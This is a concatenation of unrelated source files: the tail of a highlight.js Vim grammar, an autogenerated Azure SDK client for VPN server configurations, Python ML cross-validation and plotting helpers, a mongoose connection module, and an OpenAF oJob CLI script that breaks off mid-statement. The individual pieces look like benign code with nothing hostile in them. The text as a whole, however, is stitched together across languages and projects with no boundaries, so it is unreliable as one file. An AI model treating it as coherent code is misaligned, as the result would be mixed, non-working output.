mkdir screenattr getfontname libcall reltimestr getfsize ' + 'winnr invert pow getbufline byte2line soundfold repeat fnameescape ' + 'tagfiles sin strwidth spellbadword trunc maparg log lispindent ' + 'hostname setpos globpath remote_foreground getchar synIDattr ' + 'fnamemodify cscope_connection stridx winbufnr indent min ' + 'complete_add nr2char searchpairpos inputdialog values matchlist ' + 'items hlexists strridx browsedir expand fmod pathshorten line2byte ' + 'argc count getwinvar glob foldtextresult getreg foreground cosh ' + 'matchdelete has char2nr simplify histget searchdecl iconv ' + 'winrestcmd pumvisible writefile foldlevel haslocaldir keys cos ' + 'matchstr foldtext histnr tan tempname getcwd byteidx getbufvar ' + 'islocked escape eventhandler remote_send serverlist winrestview ' + 'synstack pyeval prevnonblank readfile cindent filereadable changenr ' + 'exp' }, illegal: /;/, contains: [ hljs.NUMBER_MODE, hljs.APOS_STRING_MODE, /* A double quote can start either a string or a line comment. Strings are ended before the end of a line by another double quote and can contain escaped double-quotes and post-escaped line breaks. Also, any double quote at the beginning of a line is a comment but we don't handle that properly at the moment: any double quote inside will turn them into a string. Handling it properly will require a smarter parser. */ { className: 'string', begin: /"(\\"|\n\\|[^"\n])*"/ }, hljs.COMMENT('"', '$'), { className: 'variable', begin: /[bwtglsav]:[\w\d_]*/ }, { className: 'function', beginKeywords: 'function function!', end: '$', relevance: 0, contains: [ hljs.TITLE_MODE, { className: 'params', begin: '\\(', end: '\\)' } ] }, { className: 'symbol', begin: /<[\w-]+>/ } ] }; }
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import TYPE_CHECKING import warnings from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.paging import ItemPaged from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import HttpRequest, HttpResponse from azure.core.polling import LROPoller, NoPolling, PollingMethod from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.arm_polling import ARMPolling from .. import models as _models if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from typing import Any, Callable, Dict, Generic, Iterable, Optional, TypeVar, Union T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, HttpResponse], T, Dict[str, Any]], Any]] class VpnServerConfigurationsOperations(object): """VpnServerConfigurationsOperations operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.network.v2020_07_01.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config def get( self, resource_group_name, # type: str vpn_server_configuration_name, # type: str **kwargs # type: Any ): # type: (...) -> "_models.VpnServerConfiguration" """Retrieves the details of a VpnServerConfiguration. :param resource_group_name: The resource group name of the VpnServerConfiguration. :type resource_group_name: str :param vpn_server_configuration_name: The name of the VpnServerConfiguration being retrieved. :type vpn_server_configuration_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: VpnServerConfiguration, or the result of cls(response) :rtype: ~azure.mgmt.network.v2020_07_01.models.VpnServerConfiguration :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.VpnServerConfiguration"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-07-01" accept = "application/json" # Construct URL url = self.get.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vpnServerConfigurationName': self._serialize.url("vpn_server_configuration_name", vpn_server_configuration_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('VpnServerConfiguration', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnServerConfigurations/{vpnServerConfigurationName}'} # type: ignore def _create_or_update_initial( self, resource_group_name, # type: str vpn_server_configuration_name, # type: str vpn_server_configuration_parameters, # type: "_models.VpnServerConfiguration" **kwargs # type: Any ): # type: (...) -> "_models.VpnServerConfiguration" cls = kwargs.pop('cls', None) # type: ClsType["_models.VpnServerConfiguration"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-07-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self._create_or_update_initial.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vpnServerConfigurationName': self._serialize.url("vpn_server_configuration_name", vpn_server_configuration_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(vpn_server_configuration_parameters, 'VpnServerConfiguration') body_content_kwargs['content'] = body_content request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 201]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if response.status_code == 200: deserialized = self._deserialize('VpnServerConfiguration', pipeline_response) if response.status_code == 201: deserialized = self._deserialize('VpnServerConfiguration', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnServerConfigurations/{vpnServerConfigurationName}'} # type: ignore def begin_create_or_update( self, resource_group_name, # type: str vpn_server_configuration_name, # type: str vpn_server_configuration_parameters, # type: "_models.VpnServerConfiguration" **kwargs # type: Any ): # type: (...) -> LROPoller["_models.VpnServerConfiguration"] """Creates a VpnServerConfiguration resource if it doesn't exist else updates the existing VpnServerConfiguration. :param resource_group_name: The resource group name of the VpnServerConfiguration. :type resource_group_name: str :param vpn_server_configuration_name: The name of the VpnServerConfiguration being created or updated. :type vpn_server_configuration_name: str :param vpn_server_configuration_parameters: Parameters supplied to create or update VpnServerConfiguration. :type vpn_server_configuration_parameters: ~azure.mgmt.network.v2020_07_01.models.VpnServerConfiguration :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: Pass in True if you'd like the ARMPolling polling method, False for no polling, or your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.PollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of LROPoller that returns either VpnServerConfiguration or the result of cls(response) :rtype: ~azure.core.polling.LROPoller[~azure.mgmt.network.v2020_07_01.models.VpnServerConfiguration] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, PollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.VpnServerConfiguration"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = self._create_or_update_initial( resource_group_name=resource_group_name, vpn_server_configuration_name=vpn_server_configuration_name, vpn_server_configuration_parameters=vpn_server_configuration_parameters, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('VpnServerConfiguration', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vpnServerConfigurationName': self._serialize.url("vpn_server_configuration_name", vpn_server_configuration_name, 'str'), } if polling is True: polling_method = ARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = NoPolling() else: polling_method = polling if cont_token: return LROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return LROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnServerConfigurations/{vpnServerConfigurationName}'} # type: ignore def update_tags( self, resource_group_name, # type: str vpn_server_configuration_name, # type: str vpn_server_configuration_parameters, # type: "_models.TagsObject" **kwargs # type: Any ): # type: (...) -> "_models.VpnServerConfiguration" """Updates VpnServerConfiguration tags. :param resource_group_name: The resource group name of the VpnServerConfiguration. :type resource_group_name: str :param vpn_server_configuration_name: The name of the VpnServerConfiguration being updated. :type vpn_server_configuration_name: str :param vpn_server_configuration_parameters: Parameters supplied to update VpnServerConfiguration tags. :type vpn_server_configuration_parameters: ~azure.mgmt.network.v2020_07_01.models.TagsObject :keyword callable cls: A custom type or function that will be passed the direct response :return: VpnServerConfiguration, or the result of cls(response) :rtype: ~azure.mgmt.network.v2020_07_01.models.VpnServerConfiguration :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.VpnServerConfiguration"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-07-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self.update_tags.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vpnServerConfigurationName': self._serialize.url("vpn_server_configuration_name", vpn_server_configuration_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(vpn_server_configuration_parameters, 'TagsObject') body_content_kwargs['content'] = body_content request = self._client.patch(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('VpnServerConfiguration', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized update_tags.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnServerConfigurations/{vpnServerConfigurationName}'} # type: ignore def _delete_initial( self, resource_group_name, # type: str vpn_server_configuration_name, # type: str **kwargs # type: Any ): # type: (...) -> None cls = kwargs.pop('cls', None) # type: ClsType[None] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-07-01" accept = "application/json" # Construct URL url = self._delete_initial.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vpnServerConfigurationName': self._serialize.url("vpn_server_configuration_name", vpn_server_configuration_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if cls: return cls(pipeline_response, None, {}) _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnServerConfigurations/{vpnServerConfigurationName}'} # type: ignore def begin_delete( self, resource_group_name, # type: str vpn_server_configuration_name, # type: str **kwargs # type: Any ): # type: (...) -> LROPoller[None] """Deletes a VpnServerConfiguration. :param resource_group_name: The resource group name of the VpnServerConfiguration. :type resource_group_name: str :param vpn_server_configuration_name: The name of the VpnServerConfiguration being deleted. :type vpn_server_configuration_name: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: Pass in True if you'd like the ARMPolling polling method, False for no polling, or your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.PollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of LROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.LROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, PollingMethod] cls = kwargs.pop('cls', None) # type: ClsType[None] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = self._delete_initial( resource_group_name=resource_group_name, vpn_server_configuration_name=vpn_server_configuration_name, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): if cls: return cls(pipeline_response, None, {}) path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vpnServerConfigurationName': self._serialize.url("vpn_server_configuration_name", vpn_server_configuration_name, 'str'), } if polling is True: polling_method = ARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = NoPolling() else: polling_method = polling if cont_token: return LROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return LROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnServerConfigurations/{vpnServerConfigurationName}'} # type: ignore def list_by_resource_group( self, resource_group_name, # type: str **kwargs # type: Any ): # type: (...) -> Iterable["_models.ListVpnServerConfigurationsResult"] """Lists all the vpnServerConfigurations in a resource group. :param resource_group_name: The resource group name of the VpnServerConfiguration. :type resource_group_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either ListVpnServerConfigurationsResult or the result of cls(response) :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2020_07_01.models.ListVpnServerConfigurationsResult] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.ListVpnServerConfigurationsResult"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-07-01" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list_by_resource_group.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request def extract_data(pipeline_response): deserialized = self._deserialize('ListVpnServerConfigurationsResult', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, iter(list_of_elem) def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return ItemPaged( get_next, extract_data ) list_by_resource_group.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnServerConfigurations'} # type: ignore def list( self, **kwargs # type: Any ): # type: (...) -> Iterable["_models.ListVpnServerConfigurationsResult"] """Lists all the VpnServerConfigurations in a subscription. :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either ListVpnServerConfigurationsResult or the result of cls(response) :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2020_07_01.models.ListVpnServerConfigurationsResult] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.ListVpnServerConfigurationsResult"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-07-01" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request def extract_data(pipeline_response): deserialized = self._deserialize('ListVpnServerConfigurationsResult', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, iter(list_of_elem) def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return ItemPaged( get_next, extract_data ) list.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.Network/vpnServerConfigurations'} # type: ignore
"""Helper functions for scoring ML models and displaying performance metrics.""" from typing import Union, List, Dict, Callable from sklearn.base import BaseEstimator from sklearn.model_selection import cross_validate from sklearn.metrics import get_scorer from sklearn.pipeline import Pipeline import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns from augury.ml_data import MLData from augury.sklearn.model_selection import year_cv_split from augury.sklearn.metrics import match_accuracy_scorer from augury.ml_estimators.base_ml_estimator import BaseMLEstimator from augury.settings import CV_YEAR_RANGE, SEED np.random.seed(SEED) GenericModel = Union[BaseEstimator, BaseMLEstimator, Pipeline] SKLearnScorer = Callable[ [BaseEstimator, Union[pd.DataFrame, np.ndarray], Union[pd.DataFrame, np.ndarray]], Union[float, int], ] def score_model( model: GenericModel, data: MLData, cv_year_range=CV_YEAR_RANGE, scoring: Dict[str, SKLearnScorer] = { "neg_mean_absolute_error": get_scorer("neg_mean_absolute_error"), "match_accuracy": match_accuracy_scorer, }, n_jobs=None, ) -> Dict[str, np.ndarray]: """ Perform cross-validation on the given model. This uses a range of years to create incrementing time-series folds for cross-validation rather than random k-folds to avoid data leakage. Params ------ model: The model to cross-validate. cv_year_range: Year range for generating time-series folds for cross-validation. scoring: Any Scikit-learn scorers that can calculate a metric from predictions. This is in addition to `match_accuracy`, which is always used. n_jobs: Number of processes to use. Returns ------- cv_scores: A dictionary whose values are arrays of metrics per Scikit-learn's `cross_validate` function. """ train_year_range = data.train_year_range assert min(train_year_range) < min(cv_year_range) or len(train_year_range) == 1, ( "Must have at least one year of data before first test fold. Training data " f"only goes back to {min(train_year_range)}, and first test fold is for " f"{min(cv_year_range)}" ) assert max(train_year_range) >= max(cv_year_range), ( "Training data must cover all years used for cross-validation. The last year " f"of data is {max(train_year_range)}, but the last test fold is for " f"{max(cv_year_range)}" ) X_train, _ = data.train_data return cross_validate( model, *data.train_data, cv=year_cv_split(X_train, cv_year_range), scoring=scoring, n_jobs=n_jobs, verbose=2, error_score="raise", ) def graph_tf_model_history(history, metrics: List[str] = []) -> None: """Visualize loss and metric values per epoch during Keras model training. Params ------ history: Keras model history object. metrics: List of metric names that the model tracks in addition to loss. Returns ------- None, but displays the generated charts. """ loss = history.history["loss"] val_loss = history.history["val_loss"] epochs = range(len(loss)) plt.plot(epochs, loss, "bo", label="Training loss") plt.plot(epochs, val_loss, "b", label="Validation loss") plt.title("Training and validation loss") plt.legend() for metric in metrics: plt.figure() metric_train = history.history[metric] metric_val = history.history[f"val_{metric}"] plt.plot(epochs, metric_train, "bo", label=f"Training {metric}") plt.plot(epochs, metric_val, "b", label=f"Validation {metric}") plt.title(f"Training and validation {metric}") plt.legend() plt.show() def _graph_accuracy_scores(performance_data_frame, sort): data = ( performance_data_frame.sort_values("match_accuracy", ascending=False) if sort else performance_data_frame ) plt.figure(figsize=(15, 7)) sns.barplot( x="model", y="match_accuracy", data=data, ) plt.ylim(bottom=0.55) plt.title("Model accuracy for cross-validation\n", fontsize=18) plt.ylabel("Accuracy", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12, rotation=90) plt.legend(fontsize=14) plt.show() def _graph_mae_scores(performance_data_frame, sort): data = ( performance_data_frame.sort_values("mae", ascending=True) if sort else performance_data_frame ) plt.figure(figsize=(15, 7)) sns.barplot(x="model", y="mae", data=data) plt.ylim(bottom=20) plt.title("Model mean absolute error for cross-validation\n", fontsize=18) plt.ylabel("MAE", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12, rotation=90) plt.legend(fontsize=14) plt.show() def graph_cv_model_performance(performance_data_frame, sort=True): """Display accuracy and MAE scores for the given of models.""" _graph_accuracy_scores(performance_data_frame, sort=sort) _graph_mae_scores(performance_data_frame, sort=sort)
const mongoose = require('mongoose') const DB = process.env.DATABASE_KEY; async function connect() { return mongoose.connect(DB, { useNewUrlParser: true, useUnifiedTopology: true }).then(() => { console.log('Mongodb Atlas Connected Successfully !') }).catch((e) => { console.log(e) }) } module.exports = connect
var _fparam = __expr.match(/^([^ ]+) ?/); var fparam = (isArray(_fparam) && _fparam.length > 0) ? _fparam[1] : ""; var params = processExpr(" "); var ojob_shouldRun = true; var ojob_args = {}; var nocolor = false; if (Object.keys(params).length == 1 && Object.keys(params)[0] == "") ojob_showHelp(); // Check parameters if (isDef(params["-h"]) && params["-h"] == "") { delete params["-h"]; ojob_showHelp(); } if (isDef(params["-compile"]) && params["-compile"] == "") { delete params["-compile"]; ojob_compile(); } if (isDef(params["-tojson"]) && params["-tojson"] == "") { delete params["-tojson"]; ojob_tojson(); } if (isDef(params["-jobs"]) && params["-jobs"] == "") { delete params["-jobs"]; ojob_jobs(); } if (isDef(params["-todo"]) && params["-todo"] == "") { delete params["-todo"]; ojob_todo(); } if (isDef(params["-deps"]) && params["-deps"] == "") { delete params["-deps"]; ojob_draw(); } if (isDef(params["-nocolor"]) && params["-nocolor"] == "") { nocolor = true; } if (isDef(params["-jobhelp"]) && params["-jobhelp"] == "") { delete params["-jobhelp"]; ojob_jobhelp(); } //if ($from(Object.keys(params)).starts("-").any()) { // $from(Object.keys(params)).starts("-").select(function(r) { // ojob_args[r.replace(/^-/, "")] = params[r]; // delete params[r]; // }); //} if (Object.keys(params).length >= 1 && ojob_shouldRun) { ojob_runFile(); } function ojob_showHelp() { print("Usage: ojob aYamlFile.yaml/json [options]\n"); print(" -compile Compile all includes and current file into a single yaml output."); print(" -tojson Outputs all includes and current file into a single json output."); print(" -jobs List all jobs available."); print(" -todo List the final todo list."); print(" -deps Draws a list of dependencies of todo jobs on a file."); print(" -jobhelp (job) Display any available help information for a job."); print(""); print("(version " + af.getVersion() + ", " + Packages.openaf.AFCmdBase.LICENSE + ")"); ojob_shouldRun = false; } function ojob__getFile() { /*var ks = Object.keys(params); if (ks.length >= 1) { var f = ks[0]; delete params[f]; print(f); return f; */ if (isDef(fparam)) { return fparam; } else { printErr("Didn't recognize the aYamlFile.yaml\n"); ojob_showHelp(); return undefined; } } function ojob_compile() { var file = ojob__getFile(); if (isDef(file)) { print(af.toYAML(ow.loadOJob().previewFile(file))); } ojob_shouldRun = false; } function ojob_tojson() { var file = ojob__getFile(); if (isDef(file)) { sprint(ow.loadOJob().previewFile(file)); } ojob_shouldRun = false; } function ojob_jobs() { var file = ojob__getFile(); if (isDef(file)) { print(af.toYAML($stream(ow.loadOJob().previewFile(file).jobs).map("name").distinct().toArray().sort())); } ojob_shouldRun = false; } function ojob_draw() { var file = ojob__getFile(); ow.loadOJob(); var oj = ow.oJob.previewFile(file); function getDeps(aJobName) { var j = $from(oj.jobs).equals("name", aJobName).first(); if (isUnDef(j)) return undefined; if (isDef(j.deps)) { return j.deps; } else { return []; } } function getPaths(aJobName, res) { var j = $from(oj.jobs).equals("name", aJobName).first(); if (isUnDef(res)) res = { from: [], to : [] }; if (isUnDef(j)) return res; res = { to : res.to.concat(j.to), from: res.from.concat(j.from) }; res = getPaths(j.from, res); res = getPaths(j.to, res); return res; } function getPath(aJobName) { var msg = ""; var deps = getDeps(aJobName); if (isUnDef(deps)) { msg += "!!NOT FOUND!!"; } else { for(var i in deps) { var dep = (isDef(deps[i].name)) ? deps[i].name : deps[i]; msg += " :" + dep; var r = getPath(dep); if (r.length > 0) { msg += " (" + r + ")"; } } } return msg; } if (oj.ojob.sequential) { print("Sequential dependencies are enabled.\n"); } ansiStart(); print(ansiColor("bold,underline", "\nDependencies:")); oj.todo.map(function(v) { if (isDef(v.job) && isUnDef(v.name)) v.name = v.job; var nn = (isDef(v.name) ? v.name : v); printnl("[" + ansiColor("bold", nn) + "]"); var deps = getDeps(nn); print(getPath(nn)); }); print(ansiColor("bold,underline", "\nPaths:")); oj.todo.map(function(v) { if (isDef(v.job) && isUnDef(v.name)) v.name = v.job; var nn = (isDef(v.name) ? v.name : v); var paths = getPaths(nn); var msg = ""; for (var i in paths.from) { msg += (isDef(paths.from[i]) ? paths.from[i] + " -> " : ""); } msg += "[" + ansiColor("bold", nn) + "]"; for (var i in paths.to) { msg += (isDef(paths.to[i]) ? " -> " + paths.to[i] : ""); } print(msg); }); ansiStop(); ojob_shouldRun = false; } function ojob_jobhelp() { var file = ojob__getFile(); //var ks = Object.keys(params); var job = String(__expr).replace(/.+-jobhelp */i, ""); params = []; if (job != "") { params = []; } else { /*printErr("Didn't recognize the job to try to obtain help from.\n"); ojob_showHelp(); return undefined;*/ job = "help"; } if (isDef(file)) { var oj = ow.loadOJob().previewFile(file); var hh = $from(oj.jobs).equals("name", job).select({ "name": "n/a", "help": "n/a" })[0]; if (hh.name == "Help" && isMap(hh.help) && isUnDef(hh.exec) && isDef(oj.help)) hh = __; if (isDef(hh)) { print(hh.name); print(repeat(hh.name.length, '-')); print(""); if (isString(hh.help)) print(hh.help); else { print(hh.help.text + "\n"); if (isDef(hh.help.expects)) { print("Expects:"); tprint("{{#each expects}} {{name}} - {{#if required}}(required) {{/if}}{{{desc}}}\n{{/each}}\n", hh.help); } if (isDef(hh.help.returns)) { print("Returns:"); tprint("{{#each returns}} {{name}} - {{#if required}}(required) {{/if}}{{{desc}}}\n{{/each}}\n", hh.help); } } } else { if (isDef(oj.help)) { if (!(isDef(oj.ojob) && isDef(oj.ojob.showHelp) && oj.ojob.showHelp == false)) ow.oJob.showHelp(oj.help, {}, true); } else { printErr("Didn't find job help for '" + job + "'."); return __; } } } ojob_shouldRun = false; } function ojob_todo() { var file = ojob__getFile(); if (isDef(file)) { var l = ow.loadOJob().previewFile(file).todo; var r = []; for(var i in l) { if (isObject(l[i])) r.push(l[i].name); else r.push(l[i]); } print(af.toYAML(r)); } ojob_shouldRun = false; } function ojob_runFile() { if (ojob_shouldRun) { var file = ojob__getFile(); //__expr = $from(params).select(function(r) { var rr={}; var kk = Object.keys(r)[0]; return kk+"="+r[kk]; }).join(" "); //__expr = ""; //for(var ii in params) { // __expr += ii + "=" + params[ii].replace(/ /g, "\\ ") + " "; //} if 